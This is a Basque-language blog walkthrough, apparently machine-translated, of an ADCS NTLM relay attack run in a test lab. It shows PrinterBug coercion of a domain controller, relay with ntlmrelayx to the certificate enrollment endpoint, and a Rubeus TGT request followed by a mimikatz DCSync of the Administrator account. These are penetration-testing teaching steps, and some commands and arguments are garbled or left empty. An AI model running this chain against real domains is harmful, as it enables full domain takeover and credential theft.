Certificate Service Relaying

Ziurtagiri-zerbitzuaren transmisioa

Celia Catalán


Autentifikazioa behartu eta biktimaren makina-erabiltzailearen pasahitzaren NetNTLM hash-a lortu ondoren, ustiapen-eszenatoki desberdinak aurkezten zaizkigu, blogeko hainbat sarreretan eztabaidatuko ditugunak.

Jarraian, Ziurtagirien Zerbitzuaren Transmisioari buruz hitz egingo dugu entsegu-laborategi batean adibide praktiko batekin.

Lehenengo kasu honetan, erasoa "Coerce Authentication" baten bidez harrapatutako kredentziala berrerabiltzean datza, gaizki konfiguratutako ADCS (Active Directory Certificate Service) batean autentifikatzeko (lehenespenez), domeinuko pribilegioak areagotzeko.

Jarraian, eraso hau egiteko bete behar diren baldintza batzuk daude:

  • ADCS konfiguratu behar da NTLM autentifikazioak onartzeko.
  • NTLM autentifikazioa ez dago EPA babestuta edo SMB sinatuta dago.
  • ADCSk zerbitzu hauetakoren bat exekutatzen ari da:
    • Ziurtagiriak matrikulatzeko politika web zerbitzua.
    • Ziurtagiriak matrikulatzeko web zerbitzua.

Laburpen

Eraso honen ustiapen-prozesua laburki azaltzen da jarraian:

1. Lortu sarbidea Active Directory-rekin eta gaizki konfiguratutako ADCS instantzia batekin konfiguratutako sare batera. Bortxaketa-eraso batzuetarako, domeinu-erabiltzaile bat ere arriskuan jarri beharko da, bere pribilegioak gorabehera.

2. Konfiguratu entzuteko softwarea erasotzaileak kontrolatutako ordenagailu batean, gaizki konfiguratutako ADCS instantziaren aurka NTLM autentifikazioa berrerabiltzeko.

3. Behartu domeinu-kontrolatzailearen autentifikazioa («Edozein “Derrigorrezko autentifikazioa” ahultasun) erasotzaileak softwarearekin kontrolatzen duen makinaren aurka, NTLM autentifikazioa berrerabiltzeko.

4. Domeinu-kontrolatzaileak erasotzaileak kontrolatzen duen makinan autentifikatzen du.

5. Domeinu-kontrolatzailearen makina-erabiltzailetik lortutako kredentziala berrerabiltzen da ADCSn autentifikatzeko.

6. ADCS-ek ziurtagiri bat igortzen dio domeinu-kontrolatzailearen makina erabiltzaileari.

7. Aurreko urratsean lortutako ziurtagiria erabiliz, Kerberos TGT txartela eskatzen da.

8. Erabili domeinu-kontrolatzailearen makina-erabiltzailearen TGT txartela edozein erabiltzaileri TGS eskatzeko, edo egin DCSync bat domeinuaren NTDSa lortzeko.

Proba Laborategiko Osagaiak

Jarraian, entsegu-laborategian aurkitutako aktiboak labur deskribatuko ditugu:

  • Attack_Machine - Makina honek Kali Linux bati egiten dio erreferentzia nondik erasoa burutuko dugun "Coerce Authentication" bat lortzeko eta softwarea entzuten edukitzeko autentifikazioa berrerabiltzeko.
  • DC.corp.lab - "corp.lab" domeinua konfiguratuta duen domeinu-kontrolatzailea, erasoaren biktima izango dena. "Bob" izeneko erabiltzaile bat konfiguratuko da domeinu horretan pribilegiorik gabe erasoa bere konpromisotik emulatzeko.
  • CA.corp.lab – “corp.lab” domeinuko entitate ziurtatzailea.
  • Windows10 - Erasotzaileak aurrez arriskuan jarritako Windows sistema eragilea duen ordenagailua, "corp.lab" domeinuaren barruan.

Impacket-en bertsio zehatza instalatzea

Eraso hau garatzeko, beharrezkoa da impacket-en bertsio zehatz bat instalatuta edukitzea, ADCSren aurka lortutako NTLM autentifikazioa berrerabili ahal izateko garatutakoa. Horretarako pauso hauek jarraituko ditugu:

  • Instalatu Python ingurune birtualen paketea:

                sudo apt install python3-venv


  • Deskargatu eta egiaztatu behar den impacket -en bertsio zehatza.


git clone https://github.com/ExAndroidDev/impacket.git

cd paketea

git checkout ntlmrelayx-adcs-attack


  • Sortu ingurune birtual berri bat eta instalatu impacket menpekotasunak
python3 -m venv impacket-adcs-attack
iturburua impacket-adcs-attack/bin/activate 
pip instalatu 



Erasoaren garapena


Identifikatu gaizki konfiguratutako ADCS zerbitzua domeinuan


Impacket-en bertsio zehatza instalatu ondoren, egin behar duzun lehen urratsa ADCS identifikatzea da. Horretarako, hainbat tresna erabil daitezke, horien artean, Microsoft-en jatorrizko batcertutil izenekoa.


Zerbitzaria zein den detektatu ondoren, egiaztatu behar duzu ziurtagiria erregistratzeko web-zerbitzua gaituta daukan, horretarako nabigatzaile batetik hurrengo url-era sartuko gara:

http://ca.corp.lab/certsrv/certqus.asp


Kontuan izan behar da URL horretara sartzean erabiltzaile-izena eta pasahitza eskatuko dizkigutela, aurrez arriskuan jarritako domeinuko erabiltzaile batena izango dela (Kasu honetan “CORP.lab\Bob”) erabiltzailea.

Puntu horretara iritsitakoan, egiaztatu behar dugu domeinu-kontrolatzailea beste blog-argitalpenetan azaltzen den "Derrigorrezko autentifikazioa" erasoren baten aurrean zaurgarria den. Kasu honetan, ustiapena MS-RPRN izeneko MS-RPC abusua erabiliz egingo da scripta erabiliz. Inprimagailuaren akatsa.

DC-k MS-RPC gaituta dagoela egiaztatu behar duzu komando hau erabiliz:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'


NTLM autentifikazioa berrerabiltzeko software garapena 


Ondoren, erasotzailearen ingurunea konfiguratu behar da pasahitza berrerabiltzeko erasoa egiteko. Horretarako, Erantzun izeneko tresna honela konfiguratu behar da:

sudo nano /etc/responder/Responder.conf
SMB = Desaktibatuta
HTTP = Desaktibatuta



Jarraian, respond izeneko scripta, "Coerce autentifikazioa" harrapatzeaz arduratzen dena, eta aurretik instalatutako ntlmrelayx izeneko scripta exekutatu behar dira ADCSren aurka lortutako NTLM autentifikazioa berrerabiltzeko.

sudo erantzun -I eth0 -wd



python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController


Autentifikazioa behartu eta ADCSk emandako ziurtagiria lortzea

Bi script-ak exekutatzen ari direnean, "Coerce Authentication" ustiatu egingo da.

python3 printerbug.py "CORP/bob: @dc.corp.lab" attack_machine


Aurreko exekuzioaren ondoren, dc makinaren erabiltzailearen ziurtagiria lortuko da:


TGT txartela domeinu-kontrolagailutik eskuratzea

Ziurtagiria lortu ondoren, Windows 10 ordenagailutik, Rubeus tresna erabiliko dugu domeinu-kontrolagailuaren makina-erabiltzailetik TGT txartela eskatzeko eta inportatzeko.

.\Rubeus.exe asktgt /dc: /domain:CORP.LAB /user:DC$ /ptt /certificate:


Tiketa ondo inportatu dela egiaztatu behar duzu komando hau erabiliz:

klist



Ondo inportatu dela egiaztatu ondoren, ekintza desberdinak egin daitezke, adibidez, TGS txartela eskatzea Domeinu Administratzaileari erabiltzaileari:

.\mimikatz.exe
lsadump::dcsync /domeinua:CORP.lab /erabiltzailea:Administratzailea



Domeinu-administratzailearen erabiltzailearen TGS lortutakoan, ahal izango da DC-n autentifikazioa pribilegio handiekin eta domeinu osoa arriskuan jarri.

Hau izan da, zorionez, komentatu beharreko eszenatoki askoren artean lehena... Eta zeintzuk ezagutzen dituzu? Hurrengo sarrerara arte.

Dimas Pastor , Zerolynx Taldeko analista seniorra .


Itzuli blogera

Utzi iruzkin bat

Kontuan izan iruzkinak argitaratu aurretik onartu behar direla.